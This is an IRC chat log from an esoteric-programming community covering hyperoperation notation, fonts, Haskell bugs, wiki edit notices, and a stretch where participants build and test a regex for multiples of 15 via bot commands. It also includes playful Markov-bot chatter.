04:30:34 <adu> hppavilion[1]: I've never heard of that, I've heard of "exponential factorial"
04:31:25 <adu> hppavilion[1]: the official notation for hyperoperations is Knuth up-arrow
04:32:16 <hppavilion[1]> I could use SO Triangle Notation for all hyperoperations if I wanted
04:32:17 <adu> but Knuth probably has the most mind-share
04:32:47 <adu> I prefer not using TeX when I don't have to :)
04:32:50 <hppavilion[1]> I also defined something called the Arithmetic of the Functia, where I invented function division, if you'd like to see
04:33:40 <adu> x ^(n) y just doesn't look very good in ascii
04:34:27 <adu> which is why ppl on the tetrationforum just use x[n]y
04:35:24 <adu> I think the true breakthrough is going to be for H[4](1.6353, x)
04:36:47 <adu> hppavilion[1]: there was this dude, once, named Cliff Nelson
04:37:16 <adu> he defined a recursive function that defined HL[n](x, y) for all real numbers
04:37:42 <adu> HL[n](x, y) == z iff H[n](x, z) = y
04:38:50 <adu> but I remember researching it for simple bases, like 2 and e and 10, and it wasn't even continuous
04:39:19 <adu> hppavilion[1]: I'm interested
04:40:15 <adu> hppavilion[1]: do you mean (f/g)(x) = f(g^-1(x))?
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05:11:04 <zzo38> Use METAFONT to make your own math symbols if the existing ones are not sufficient!
05:15:54 <HackEgo> [wiki] [[Talk:3var]] http://esolangs.org/w/index.php?diff=45651&oldid=45320 * Nikoraito * (+256) /* Extensions */
05:17:32 <HackEgo> [wiki] [[Talk:3var]] http://esolangs.org/w/index.php?diff=45652&oldid=45651 * Nikoraito * (+3) /* Bitwise functions */
05:26:43 <HackEgo> [wiki] [[Talk:3var]] http://esolangs.org/w/index.php?diff=45653&oldid=45652 * Nikoraito * (-6) /* File I/O functions */
05:31:45 <lifthrasiir> http://cosmic.mearie.org/2015/11/font/sample 1027 characters so far, thanks to highly regular Yi-jing symbols
05:34:59 <zzo38> I have once made a font for typesetting chess diagrams
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05:45:34 <zzo38> The standard FIDE icons are based on SVG files from Wikipedia, although I have added my own pieces which I have designed the shapes of by myself.
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05:48:10 <hppavilion[1]> What weird mathematical objects could we base a language around?
05:49:36 <shachaf> Categories are pretty simple.
05:49:38 <hppavilion[1]> Here's a catalogue of STS commands, BTW: https://docs.google.com/document/d/1gpIA6h0H9GGw-92DNwoZgfkTABiNnddisxHyBKJ4acE/edit?usp=sharing
05:50:02 <hppavilion[1]> shachaf: I have a hard time understanding them. My brain doesn't abstract that far yet
05:50:33 <shachaf> You don't need to abstract any more than you do for algebra.
05:52:41 <hppavilion[1]> Are there any other "Big" mathematical symbols other than Summation, Product, Coproduct, BigUnion, BigIntersection, and [multiple] [contour] integral?
05:53:41 <hppavilion[1]> Maybe I should just add a $big command for summation/product/coproduct/bigunion/bigintersection
05:54:43 <\oren\> also the [x]_0^\infty syntax for uh... "partially evaluated integrals?"
05:55:38 <\oren\> you put the antiderivative in square brackets with a subscript and a superscript indicating where to evaluate it at
05:56:16 <\oren\> like [x^2]_1^2 -> 4 - 1
05:57:08 <\oren\> hppavilion[1]: have you taken analysis yet?
05:57:31 <HackEgo> [wiki] [[Three Star Programmer]] http://esolangs.org/w/index.php?diff=45654&oldid=45321 * Quintopia * (+344) added python implementation with extendable storage
05:58:18 <HackEgo> [wiki] [[Three Star Programmer]] http://esolangs.org/w/index.php?diff=45655&oldid=45654 * Quintopia * (+0) /* Python */ wiki don't like ''
05:59:28 <HackEgo> [wiki] [[Three Star Programmer]] http://esolangs.org/w/index.php?diff=45656&oldid=45655 * Quintopia * (-2) /* Python */ wasted space!
06:01:18 <HackEgo> [wiki] [[Three Star Programmer]] http://esolangs.org/w/index.php?diff=45657&oldid=45656 * Quintopia * (+17) /* Python */
06:06:55 <\oren\> http://www.sciweavers.org/upload/Tex2Img_1448518143/render.png <--like this
06:07:37 <\oren\> oops that's actually wrong
06:07:54 <\oren\> well the point is the syntax of []^_
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06:10:37 <\oren\> http://www.sciweavers.org/upload/Tex2Img_1448518418/render.png
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06:34:56 * oerjan wonders if anyone but him likes type family superclasses
06:35:29 <oerjan> i report a bug, and spj's response is to suggest disallowing them altogether.
06:36:34 <shachaf> i,i bug: you accidentally implemented type family superclasses
06:36:54 <oerjan> while i don't see how they're more dangerous than undecidableinstances in general
06:37:19 <oerjan> shachaf: i'm sure i've seen at least one other person use them, some time
06:38:05 <oerjan> and they're not even the core reason of the bug, ConstraintKinds is
06:38:43 <oerjan> once you have ConstraintKinds, you can no longer consider superclass hierarchies to be static.
06:39:33 <oerjan> i suppose to be consistent, he'd also disallow superclasses where the head is a type variable.
06:45:22 * oerjan thinks edwardk must be very busy lately
06:45:55 <oerjan> i'd like to ask him if he's ever used superclass type families
06:46:12 <oerjan> hm maybe i should check the other bug report spj linked
06:49:12 <oerjan> nope, edwardk is just using a type equality + ordinary classes
06:54:57 <oerjan> oh hm, i didn't even finish yesterday's webcomics
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07:07:49 <Sgeo> Did anyone do the olist for the recent olist?
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07:15:29 <izabera> https://mail.mozilla.org/pipermail/firefox-dev/2015-November/003554.html
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07:48:34 <HackEgo> [wiki] [[Spiral]] http://esolangs.org/w/index.php?diff=45658&oldid=40219 * Quintopia * (+335) proglang
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07:55:58 <HackEgo> [wiki] [[1mpr0mp2]] http://esolangs.org/w/index.php?diff=45659&oldid=43636 * Quintopia * (+300)
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07:57:09 <HackEgo> [wiki] [[1mpr0mp2]] http://esolangs.org/w/index.php?diff=45660&oldid=45659 * Quintopia * (-21)
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07:57:44 <HackEgo> [wiki] [[1mpr0mp2]] http://esolangs.org/w/index.php?diff=45661&oldid=45660 * Quintopia * (+0)
07:58:18 <HackEgo> [wiki] [[1mpr0mp2]] http://esolangs.org/w/index.php?diff=45662&oldid=45661 * Quintopia * (+19)
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08:01:21 <hppavilion[2]> I want to invent a weird logic, entirely foeign to all existing logic
08:01:55 <myname> there are pretty weird ones out there
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08:02:30 <myname> there is SIXTEEN, it has 16 different atomic values
08:02:52 <zzo38> I was having trouble to connect, but it seem working now, at tepper.freenode.net:6665
08:03:21 <hppavilion[2]> Or perhaps I should implement a functional programming language
08:04:36 <zzo38> O, I wasn't the only one; I can see the log now
08:07:12 <hppavilion[2]> Someone should make a programming language based on Algebra
08:09:06 <hppavilion[2]> Is there any online introduction to implementing CASes?
08:10:33 <myname> hppavilion[2]: check out curry for the first two
08:10:35 <zzo38> Sorry, I don't know.
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08:17:16 <HackEgo> [wiki] [[ETAS]] http://esolangs.org/w/index.php?diff=45663&oldid=20905 * Quintopia * (+240)
08:24:10 <oerjan> oh, it's that day again
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08:30:19 <HackEgo> [wiki] [[Magicard!]] http://esolangs.org/w/index.php?diff=45664&oldid=44369 * Quintopia * (+254)
08:33:03 <oerjan> <fungot> HackEgo: it looks like someone could write an implementation. you'll have 3. write down solution <-- huh
08:33:03 <fungot> oerjan: i guess you guys have a lot of drugs _and_ presents for me for some reasion fnord breaks things.
08:33:07 <fungot> oerjan: i'm beggining to hate python's scoping. an eval inside a let
08:33:08 <HackEgo> fungot is our beloved channel mascot and voice of reason.
08:33:08 <fungot> HackEgo: i'm thinking teaching lisp programming to a child with down syndrome could understand.
08:33:27 <oerjan> fungot's ^ignore list must have been broken
08:33:28 <fungot> oerjan: visited ash some weeks ago.
08:33:40 <fungot> oerjan: i've done it already.)
08:33:42 <fungot> lambdabot: the gdb macro? i tried keeping a alist of pairs i had seen invalid variable reference
08:33:54 <fungot> oerjan: over several hours
08:33:55 <fungot> EgoBot: should we call it string-ref then?
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08:34:53 <fungot> oerjan: five in the afternoon, offby1. it's shorter, it doesn't segfault. i might even be useable to the scheme48 structure named srfi-1. thanks.
08:34:53 <j-bot> oerjan: |syntax error
08:34:53 <j-bot> oerjan: | "fungot"
08:34:53 <fungot> j-bot: why don't ya secretly ignore the assembly completely)
08:34:54 <j-bot> fungot: |open quote
08:34:54 <j-bot> fungot: | why don't ya secretly ignore the assembly completely)
08:34:54 <fungot> j-bot: ( scheme48 is just not
08:34:54 <fungot> j-bot: forth is not gonna release for next 10 years?
08:34:54 <fungot> j-bot: what does that means? afaik there are no syntactic restrictions against this. i'm off to nature ( read: ' it stands for? i got to
08:34:55 <j-bot> fungot: |syntax error
08:34:55 <j-bot> fungot: | (scheme48 is just not
08:34:55 <j-bot> fungot: forth (is not gonna release for next 10 years ?)
08:34:55 <j-bot> fungot: |spelling error
08:34:55 <j-bot> fungot: | what does that means? afaik there are no syntactic restrictions against this. i'm off to nature ( read: ' it stands for? i got to
08:36:22 <fungot> echo reverb rev rot13 rev2 fib wc ul cho choo pow2 source help hw srmlebac uenlsbcmra scramble unscramble asc ord prefixes tmp test celebrate wiki chr ha rainbow rainbow2 welcome me tell eval elikoski list ping def a thanks tmp2 8ball rreree rerere botsnack bf
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08:39:20 <HackEgo> Algae II, the successor class to Algae. I. Discusses hydroponics and such
08:39:32 <HackEgo> [wiki] [[Cellbrain]] http://esolangs.org/w/index.php?diff=45665&oldid=43583 * Quintopia * (+404)
08:40:15 <oerjan> `` sed -i 's/. I[.]/ I./;s/$/./' wisdom/alg'. ii'
08:40:22 <HackEgo> Algae II, the successor class to Algae I. Discusses hydroponics and such.
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08:43:52 <HackEgo> [wiki] [[Cellbrain]] http://esolangs.org/w/index.php?diff=45666&oldid=45665 * Quintopia * (+0)
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08:53:56 <HackEgo> [wiki] [[Not The Main Worb]] http://esolangs.org/w/index.php?diff=45667&oldid=44768 * Quintopia * (+274)
08:54:56 <HackEgo> [wiki] [[Not The Main Worb]] http://esolangs.org/w/index.php?diff=45668&oldid=45667 * Quintopia * (+23)
08:56:11 <b_jonas_> \oren\_: what will you do to the cyrillic letters "ЈІЅ" which look too similar to the latin letters?
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09:03:32 <HackEgo> [wiki] [[ResPlicate]] http://esolangs.org/w/index.php?diff=45669&oldid=45372 * Quintopia * (+290)
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09:09:13 <HackEgo> [wiki] [[CASTLE]] http://esolangs.org/w/index.php?diff=45670&oldid=45165 * Quintopia * (+354)
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10:22:22 <izabera> http://i.imgur.com/RQUP49v.gif ha ha ha
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11:28:04 <HackEgo> [wiki] [[Whyfuck]] N http://esolangs.org/w/index.php?oldid=45671 * Jabutosama * (+2379) Created page with "Whyfuck is confusing derivate of well-known esoteric programming language [[Brainfuck]]. It shares brainfuck's possibilities and adds some new ones, but makes programming anno..."
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11:28:30 <HackEgo> [wiki] [[Whyfuck]] http://esolangs.org/w/index.php?diff=45672&oldid=45671 * Jabutosama * (+6)
11:28:42 <HackEgo> [wiki] [[Whyfuck]] http://esolangs.org/w/index.php?diff=45673&oldid=45672 * Jabutosama * (+2) /* Hello World */
11:30:21 <HackEgo> [wiki] [[Whyfuck]] http://esolangs.org/w/index.php?diff=45674&oldid=45673 * Jabutosama * (-10) /* Working Mechanism */
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11:45:31 <b_jonas> argh, I have to either change the value of the existing flags or have a non-continuous field in this flags argument because I have a four bit wide field that now has to contain too many values. either sucks.
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11:47:53 <b_jonas> I've done non-continuous fields once: the log file for cbstream has one, because there was a 1 bit field showing which server is accessed, but now there are three servers
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12:38:00 <HackEgo> U+30A6 KATAKANA LETTER U \ UTF-8: e3 82 a6 UTF-16BE: 30a6 Decimal: ウ \ ウ \ Category: Lo (Letter, Other) \ Bidi: L (Left-to-Right) \ \ U+30D5 KATAKANA LETTER HU \ UTF-8: e3 83 95 UTF-16BE: 30d5 Decimal: フ \ フ \ Category: Lo (Letter, Other) \ Bidi: L (Left-to-Right) \ \ U+30D5 KATAKANA LETTER HU \ UTF-8: e3 83 95 UTF-16BE: 30
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14:05:23 <HackEgo> [U+0408 CYRILLIC CAPITAL LETTER JE] [U+0406 CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I] [U+0405 CYRILLIC CAPITAL LETTER DZE]
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14:23:20 <HackEgo> [U+23E8 DECIMAL EXPONENT SYMBOL]
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14:23:46 <\oren\> ah it's that thing we alyas use 'e' for
14:26:32 <int-e> I guess that's "always"
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15:01:38 <b_jonas> argh, where am I corrupting memory how? this is impossible
15:08:23 <b_jonas> ARGH! it's one of those crazy heisenbugs
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15:18:53 <b_jonas> oh! the star destroyer in xkcd contains a room with level 1 of Prince of Persia except for the doors
15:19:47 <quintopia> i never did finish exploring the star destroyer. it was too much
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15:20:14 <b_jonas> quintopia: there's always spoilers in http://www.explainxkcd.com/wiki/index.php/1608
15:20:45 <b_jonas> see http://www.explainxkcd.com/wiki/index.php/1608#Imperial_Star_Destroyer
15:21:17 <b_jonas> I am cheating in multiple ways
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15:59:51 <izabera> if P = NP then P is 0 or N is 1
16:03:17 <Taneb> izabera: that assumes that P and N are both finite
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16:04:04 <Taneb> If, say, P is positive infinity, that's another case
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16:11:42 <Taneb> That's another another case
16:11:54 <Taneb> (in either case, I believe N must be positive)
16:12:58 <quintopia> so we can at least prove P=0 or N>0
16:13:37 <quintopia> looks too trivial to be abel prize worthy. makes you wonder what all those mathematicians are wasting their time on
16:14:46 <Taneb> quintopia: N can also equal zero in some situations
16:18:56 <Taneb> quintopia: if P = infinity and N = 0, NP is undefined, but infinity is in the range of values it can take
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16:20:04 <quintopia> i'm not sure the concept "is among the potential values of the indeterminate form" is fully captured by the = relation
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16:41:48 <tswett> I'm going to stop populating the "evil" command before I get banned from freenode or something.
16:42:22 <HackEgo> SEIZE IT AND THRUST IT TO THE GROUND.
16:42:30 <HackEgo> YOU CAN BECOME STRONGER. YOU WILL BECOME STRONGER.
16:42:38 <tswett> Those aren't really evil.
16:43:36 <tswett> The first one sounds violent, but it's pretty vague. The second one isn't really evil at all.
16:43:44 <HackEgo> THEY HAVE WRONGED YOU. THEY MUST BE DESTROYED.
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17:16:48 <Taneb> I think when I need to draw https://runciman.hacksoc.org/~taneb/tof.pdf I am either writing fizzbuzz programs very right or very wrong
17:18:10 <Taneb> (if the node labelled OO is treated as both an initial and final state, that is a FSA recognizing multiples of 15)
17:18:24 <Taneb> (well, non-negative multiples of 15, in base 10)
17:20:00 <quintopia> i was expecting it to have states for "fizz" and "buzz" too
17:20:15 <Taneb> Those can be added!
17:20:41 <Taneb> The states with an O in the first position of their name are buzz, with an O in the second position are fizz
17:20:48 <quintopia> but i guess you could just have multiple dfas running simultaneously
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17:34:10 <quintopia> Taneb: can you provide a regex for that DFA?
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17:43:17 <int-e> ^(([0369]|[258][0369]*[147])*(([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*([147][0369]*[147]|[258]))?)*(0|([0369]|[258][0369]*[147])*([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*5)$
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17:44:27 <int-e> `` seq 1000 | egrep '^(([0369]|[258][0369]*[147])*(([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*([147][0369]*[147]|[258]))?)*(0|([0369]|[258][0369]*[147])*([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*5)$'
17:44:28 <HackEgo> 15 \ 30 \ 45 \ 60 \ 75 \ 90 \ 105 \ 120 \ 135 \ 150 \ 165 \ 180 \ 195 \ 210 \ 225 \ 240 \ 255 \ 270 \ 285 \ 300 \ 315 \ 330 \ 345 \ 360 \ 375 \ 390 \ 405 \ 420 \ 435 \ 450 \ 465 \ 480 \ 495 \ 510 \ 525 \ 540 \ 555 \ 570 \ 585 \ 600 \ 615 \ 630 \ 645 \ 660 \ 675 \ 690 \ 705 \ 720 \ 735 \ 750 \ 765 \ 780 \ 795 \ 810 \ 825 \ 840 \ 855 \ 870 \ 885 \ 90
17:44:39 <b_jonas> `perl -e for (0..3999) { /^(([0369]|[258][0369]*[147])*(([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*([147][0369]*[147]|[258]))?)*(0|([0369]|[258][0369]*[147])*([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*5)$/ and print"$_,"; }
17:44:40 <HackEgo> 0,15,30,45,60,75,90,105,120,135,150,165,180,195,210,225,240,255,270,285,300,315,330,345,360,375,390,405,420,435,450,465,480,495,510,525,540,555,570,585,600,615,630,645,660,675,690,705,720,735,750,765,780,795,810,825,840,855,870,885,900,915,930,945,960,975,990,1005,1020,1035,1050,1065,1080,1095,1110,1125,1140,1155,1170,1185,1200,1215,1230,1245,1260,
17:45:46 <Taneb> quintopia, no, is the issue
17:45:46 <b_jonas> `perl -e for (0..39999) { !/^(([0369]|[258][0369]*[147])*(([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*([147][0369]*[147]|[258]))?)*(0|([0369]|[258][0369]*[147])*([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*5)$/ == !($_%15) and print"$_,"; }
17:45:58 <b_jonas> `perl -e for (0..39999) { !/^(([0369]|[25][0369]*[147])*(([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*([147][0369]*[147]|[258]))?)*(0|([0369]|[258][0369]*[147])*([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*5)$/ == !($_%15) and print"$_,"; }
17:45:59 <HackEgo> 810,840,870,3810,3840,3870,6810,6840,6870,8010,8040,8070,8100,8130,8160,8190,8310,8340,8370,8400,8430,8460,8490,8610,8640,8670,8700,8730,8760,8790,8910,8940,8970,9810,9840,9870,12810,12840,12870,15810,15840,15870,18810,18840,18870,21810,21840,21870,24810,24840,24870,27810,27840,27870,30810,30840,30870,33810,33840,33870,36810,36840,36870,38010,38040
17:46:03 <b_jonas> `perl -e for (0..39999) { !/^(([0369]|[258][0369]*[147])*(([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*([147][0369]*[147]|[258]))?)*(0|([0369]|[258][0369]*[147])*([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*5)$/ == !($_%15) and print"$_,"; }
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17:46:17 <b_jonas> `perl -e for (0..399999) { !/^(([0369]|[258][0369]*[147])*(([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*([147][0369]*[147]|[258]))?)*(0|([0369]|[258][0369]*[147])*([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*5)$/ == !($_%15) and print"$_,"; } print"ok"
17:52:14 <int-e> I didn't start from scratch; a few days ago I came up with ((ab)*(b|aa)(ba)*(a|bb)|ba)* which accepts words with equal numbers of as and bs, modulo 3.
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17:54:42 <int-e> uhm, I got that wrong. ((ab)*(b|aa)(ba)*(a|bb)|ab)* is right, and it can be simplified to ((b|aa)(ba)*(a|bb)|ab)* ... fun.
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18:00:07 <quintopia> int-e: can you use groups and replacement to replace a number with the appropriate fizzbuzz?
18:01:11 <int-e> so this slightly shorter regex also works... ^([0369]|[258][0369]*[147]|([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*([147][0369]*[147]|[258]))*(0|([147]|[258][0369]*[258])([0369]|[147][0369]*[258])*5)$
18:02:07 <quintopia> funny how it resembles a telephone keypad
18:02:35 <quintopia> i guess its all groups of mod 3 equivalence
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18:03:37 <int-e> quintopia: I don't know; I rather suspect that you one needs 3 replacements to make it work.
18:04:28 <int-e> maybe it makes more sense to recognize the output language: Fizz, Buzz, FizzBuzz, and decimal numbers coprime to 15.
18:05:39 <quintopia> oi is fizz, io is buzz, oo is fizzbuzz, and the others are the others
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18:06:41 <int-e> sure, I could have something /(coprime to 15)|(divisible by 15)|(divisible by 5 but not 3)|(divisible by 3 but not 5)/ ...I just don't see the point.
18:07:46 <int-e> (the expressions would have a common prefix that can be factored out, but that's where the sharing stops)
18:09:47 <quintopia> you could also not include the 15 one
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18:21:49 <oerjan> <b_jonas> impossible to localize <-- only if you insist on having the momentum too, hth
18:23:24 <oerjan> i got a weird irssi script error, but only the first time
18:25:00 <oerjan> <testing> impossible to localize <-- only if you insist on having the momentum too, hth
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18:26:04 <int-e> oerjan: did you know that you can join a random channel and test things all for yourself?
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18:28:10 <myname> question: proof by induction that every set with n elements has 2^n subsets
18:28:17 <myname> answer i got: https://www.dropbox.com/s/iqo3ttmp8cxync9/IMG_20151125_160627.jpg?dl=0
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18:28:27 <oerjan> well the exact line i said to b_jonas didn't trigger it again
18:28:46 <int-e> oh dropbox, why won't you work without javascript
18:30:34 <int-e> ugh, I hate such solutions
18:30:40 <oerjan> it's pretty lousy even with javascript, on this computer
18:30:51 <int-e> "what was the student thinking? is there a glimmer of a right idea in there that might be worth a point?"
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18:31:05 <myname> it was one of the better ones from him.
18:31:23 <int-e> myname: it just shows a blank page. *with* javascript it displays an annoying dialog asking me to register...
18:31:23 <myname> but i mean, there's not even a 2^n in there
18:32:02 <oerjan> myname: i am guessing he doesn't know the difference between 2n and 2^n
18:32:07 <int-e> "induction" --> something with sum from index 0 to n+1 <-- only pattern I see, and of course it's wrong.
18:32:29 <HackEgo> [wiki] [[Small]] N http://esolangs.org/w/index.php?oldid=45675 * 73.234.127.46 * (+2095) Adding small language
18:32:30 <myname> the steps are ridiculous by itself
18:32:42 <myname> first step: replace = with +
18:32:55 <myname> second step: remove sum sign
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18:34:40 <oerjan> i'll grant that it's a small language.
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18:35:15 <oerjan> b_jonas: no, that i said to you
18:35:26 <myname> on another question he does something like
18:35:52 * int-e loves fields of characteristic 2.
18:35:55 <oerjan> b_jonas: it gave a weird error from elliott's irssi script. my guess is some other script hadn't loaded yet, because it disappeared.
18:36:31 <oerjan> int-e: they're pretty cool
18:36:59 <int-e> myname: what is this, bachelor first semester computer science (I sincerely hope it's not math...)?
18:37:30 <oerjan> although there should be an efficient deterministic way to generate them...
18:37:47 <myname> it's either maths, physics or bioinformatics in at least the third semester
18:39:21 <oerjan> myname: this sounds like the kind of guy that should really be told to give up on this level of math, if anyone would dare to...
18:40:50 <izabera> http://dangerousminds.net/comments/bank_of_canada_urges_star_trek_fans_to_stop_spocking_their_fivers
18:42:15 <oerjan> hm nimoy wasn't canadian at all, afaict
18:42:21 <b_jonas> int-e: right. and the general way to solve linear equation systems on arbitrary finite fields (or over an extension of rationals too if you wish) is to use GAP. I've solved equations that way multiple times, incuding over GF(2), GF(127), and GF(128).
18:42:22 <int-e> myname: well I think they won't be happy in any of those three fields.
18:42:49 <lifthrasiir> http://cosmic.mearie.org/2015/11/font/sample#ua66e
18:42:55 <lifthrasiir> everyone seems to like this glyph, so I've added it
18:43:27 <int-e> b_jonas: But GF(127) doesn't have characteristic 2!
18:43:52 <b_jonas> int-e: yes, I know, but I solved equations over GF(127) over that field still
18:44:14 * int-e should perhaps learn to use gap... so far pari/gp has been sufficient for just doing calculations though
18:44:32 * oerjan thinks it must be rather heartbreaking to love science and want it as a career if you cannot do math at all
18:45:07 <int-e> (but I'm not sure whether it can handle non-prime-order finite fields; I believe so but I'd have to figure that out when I need it)
18:45:35 <int-e> oerjan: it would be
18:45:44 <b_jonas> GF(127) => http://www.perlmonks.com/?node_id=581159 ; GF(128) => http://www.perlmonks.com/?node_id=862789 (in reply) and http://www.perlmonks.com/?node_id=863110
18:45:50 <int-e> it's easier to assume that they just want a degree or pass some time while looking for a job
18:46:24 <b_jonas> GF(3) => http://www.perlmonks.com/?node_id=940327 (in reply)
18:47:58 <b_jonas> one of those nodes actually show the GAP code by the way
18:48:14 <int-e> oerjan: the really sad part is this... it's very much possible that the same student got excellent grades in mathematics in (~high)school.
18:48:19 <oerjan> well prime fields are easy, just modulo arithmetic
18:48:26 <oerjan> and fermats little theorem
18:48:51 <b_jonas> oerjan: non-prime fields are easy too
18:49:32 <b_jonas> oerjan: http://www.perlmonks.com/?node_id=863110 is all about how easy it is to compute in a non-prime field, though it only evaluates a polynomial, it doesn't solve a linear equation
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19:02:34 <oerjan> <b_jonas> quintopia: there's always spoilers in http://www.explainxkcd.com/wiki/index.php/1608 <-- hmph i seem to have missed 8 coins...
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19:04:21 <int-e> oerjan: did you find the underground cave in the western mountain (volcano)?
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19:06:05 <int-e> oh there's a floating island as well... tricky
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19:08:17 <int-e> I'm looking at the "png-map" https://i.imgur.com/uYryxss.png
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19:10:31 <b_jonas> int-e: yes, I made something similar, except I started from the big map, recolored it so that full black (wall) is distinguishable from any gray (decoration), then shrunk it
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19:12:13 <int-e> I didn't make that picture; the link is from explain xkcd.
19:12:42 <b_jonas> int-e: sure, and a png picture of the full map can be found there too
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20:08:32 <zzo38> How do I add my own packages to the package manager so that it will handle all of the installing and dependencies and so on properly? I want to add the newest version of SQLite to the package manager and I want to add Swiss Ephemeris and make the package manager to understand it
20:09:15 <b_jonas> zzo38: what package manager? I don't get the context
20:09:34 <b_jonas> .oO(not #debian or something)
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20:21:20 <b_jonas> DAMN! the old url of OEIS is no longer valid, so links everywhere on a millyon webpages are broken
20:21:20 <int-e> "the package manager" probably comes with a set of development tools for creating packages, which have documentation that one can read and follow.
20:23:34 <FireFly> b_jonas: hm? the usual URL format for OEIS seqs still seems to work
20:24:33 <int-e> @google inurl:njas oeis
20:24:35 <lambdabot> http://www.research.att.com/~njas/sequences/A095268
20:24:41 <HackEgo> [wiki] [[Special:Log/newusers]] create * Tatjam * New user account
20:24:47 <b_jonas> FireFly: http://www.research.att.com/~njas/sequences/A072405 gives me an error
20:25:06 <FireFly> Ah, I didn't know about that URL
20:25:18 <b_jonas> yes, but it used to redirect for a while
20:25:34 <b_jonas> and was popular back then when that was the URL
20:25:42 <b_jonas> and lots of people link to it because it's a useful reference
20:26:11 <int-e> well there's still hope that it's a temporary hickup
20:28:07 <b_jonas> http://web.archive.org/web/*/http://www.research.att.com/~njas/sequences says it's been down for a while
20:31:21 <HackEgo> [wiki] [[Talk:Brainfuck]] http://esolangs.org/w/index.php?diff=45676&oldid=44530 * Tatjam * (+813) /* 8bit Assembly BF interpreter */ new section
20:31:26 <int-e> so they stopped redirecting to oeis.org some time in 2012...
20:32:34 <zzo38> I mean in Ubuntu. I have downloaded packages from elsewhere to add into the package manager but I don't know how to make up my own versions of packages
20:33:12 <HackEgo> [wiki] [[Talk:Brainfuck]] http://esolangs.org/w/index.php?diff=45677&oldid=45676 * Tatjam * (+46) /* 8bit Assembly BF interpreter */
20:33:29 <HackEgo> [wiki] [[Talk:Brainfuck]] http://esolangs.org/w/index.php?diff=45678&oldid=45677 * Tatjam * (-1) /* 8bit Assembly BF interpreter */
20:35:00 <int-e> zzo38: I'd start with http://packaging.ubuntu.com/html/packaging-new-software.html and for a template, e.g., http://packages.ubuntu.com/precise/sqlite3
20:35:35 <HackEgo> [wiki] [[Talk:Brainfuck]] M http://esolangs.org/w/index.php?diff=45679&oldid=45678 * Tatjam * (+0) Ooops, wrote the debug program wrong...
20:40:35 <zzo38> I want to make it compatible with the existing SQLite packages so that all program can use the same SQLite
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20:41:18 <Sgeo|web> So, if Freenode isn't completely dead, why am I having trouble?
20:41:28 <zzo38> But if there exist already the package of the newest version that is already compatible with my computer then I can use that instead.
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20:48:12 <int-e> Sgeo: you were on the wrong side of a netsplit, I'd say
20:48:41 <zzo38> I did find the package on there for Swiss Ephemeris although I do not have it on my own computer (therefore I would need to add that package to the package manager, but I would need to ensure that doing so is not causing problems with other packages)
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21:06:50 <hppavilion[2]> Can someone help me with the design of an Algebraic programming language?
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21:12:55 <zzo38> I was writing a calendar program in TeX but I intend I may now instead write in C because this way I can link to both SQLite and Swiss Ephemeris (both of which support Julian day numbers, even). It can receive a list of SQL statements on stdin and send a DVI to stdout, with an optional database name and other options as command-line arguments.
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21:32:54 <tswett> I got 145 coins, and I did find the Steven Universe characters.
21:33:01 <tswett> hppavilion[1]: may I ask, out of curiosity, how old you are?
21:33:52 <hppavilion[1]> Not sure if I want to answer that, but that's an answer in itself xD
21:34:36 <tswett> So you're older than 40. Got it. :D
21:34:44 <tswett> (Or younger than 18 or even 13.)
21:35:30 <tswett> You remind me of me at around your age.
21:36:06 <hppavilion[1]> nchambers: Yes. Yes you were. I'm taking your guess as a compliment.
21:36:08 <tswett> Which wasn't *all* that long ago. You're about eight years younger than me.
21:36:34 <nchambers> hppavilion[1]: yeah I'm a terrible guesser :D
21:37:40 <int-e> `` echo wisdom/hppa*
21:37:41 <HackEgo> wisdom/hppavilion1 wisdom/hppavilion[1]
21:37:46 <tswett> I'm not sure if I was going somewhere with this...
21:37:51 <HackEgo> higgledy piggledy / hp pavilion / doesn't like jokes that are / written in text; // uncontroversially, / one in a million is / roughly the chance they won't / be left perplexed
21:37:57 <hppavilion[1]> I'm trying to figure out how to make a usable declarative programming language based on CASes
21:38:05 <HackEgo> hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe.
21:38:28 <tswett> I think I know what it means.
21:38:52 <tswett> "hppavilion[1] is described in the footnotes. Why not both? Nobody knows."
21:39:31 <tswett> I have no idea what "why not both?" is referring to.
21:39:36 <tswett> Apart from that taco commercial.
21:39:59 * int-e was tempted to add "hppavilion[1] is a y2k bug" but it's probably a bad idea anyway...
21:40:40 <tswett> hppavilion[1]: let me know if you ever want me to deliver you a monologue about mathematics or life wisdom or something.
21:40:48 <tswett> Not that I know much about this life wisdom stuff.
21:41:03 <hppavilion[1]> (I use "xD" a lot because I feel like no one can tell I'm kidding. For the record.)
21:41:50 <int-e> hppavilion[1]: in 1999 there was a bit of a scare because a lot of software would treat year numbers as two-digit quantities, leading to silly effects like displaying the year 2000 as 1900 or 19100... in the end, nothing bad happened.
21:41:54 <hppavilion[1]> Can CASs usually do Algebra at the level a human can, or are they just primitive algebras?
21:42:17 <int-e> that was the Y2K bug, the year 2000 bug. The reas is just backward extrapolation from your age.
21:42:24 <int-e> the reas? the rest.
21:42:46 <tswett> Well, when it comes to solving equations and integrals and whatnot, I think CASes are generally much better than people.
21:43:25 <hppavilion[1]> tswett: Ah. That might make it a *bit* difficult to engineer an Algebraic lang
21:45:01 <hppavilion[1]> Tri[a,b,c] creates a triangle object with vertices a, b, and c
21:46:05 <puckipedia> (lol, I had that idea too, describing geometry by defining constraints)
21:46:35 <hppavilion[1]> puckipedia: Yep. I want to make an actually-usable language out of it.
21:46:51 <hppavilion[1]> Perhaps I could base it on Algebraic Geometry or Geometric Algebra?
21:47:44 <puckipedia> stuff like (Triangle ABC; AB = 5; BC = 7; Circle AB;) would define a triangle, and a circle with center A, and B on the circle or something
21:47:46 <tswett> I read a little bit about algebraic geometry.
